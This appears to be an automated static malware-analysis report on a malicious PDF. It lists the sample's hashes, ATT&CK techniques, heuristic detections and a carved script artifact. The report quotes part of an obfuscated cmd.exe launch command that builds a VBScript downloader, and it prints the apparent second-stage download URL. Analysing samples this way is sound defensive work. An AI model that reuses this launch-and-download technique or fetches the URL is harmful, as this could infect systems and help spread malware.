Malicious PDF / .PHP — malware analysis report

Static analysis result for SHA-256 e3cc5e4927f5c9e2…

MALICIOUS

PDF / .PHP

788 B
MD5: ae6c984c2d03ba9a8ba9be0d0abc7cd1 SHA-1: 5477ede3d561167f9a2af32af20966695ad1b81b SHA-256: e3cc5e4927f5c9e256cecf2a701ac3b3b2fcff508e079eb806055e1fd1799acf
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to construct and likely execute a VBScript payload by concatenating strings, including a URL from which to download further content. The embedded URL http://06.1099hsd.co.cc/x/img.php?d=1 is highly suspicious and likely serves the malicious script. The script construction itself is obfuscated, but the intent is to download and run a second-stage payload.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://06.1099hsd.co.cc/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5
pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes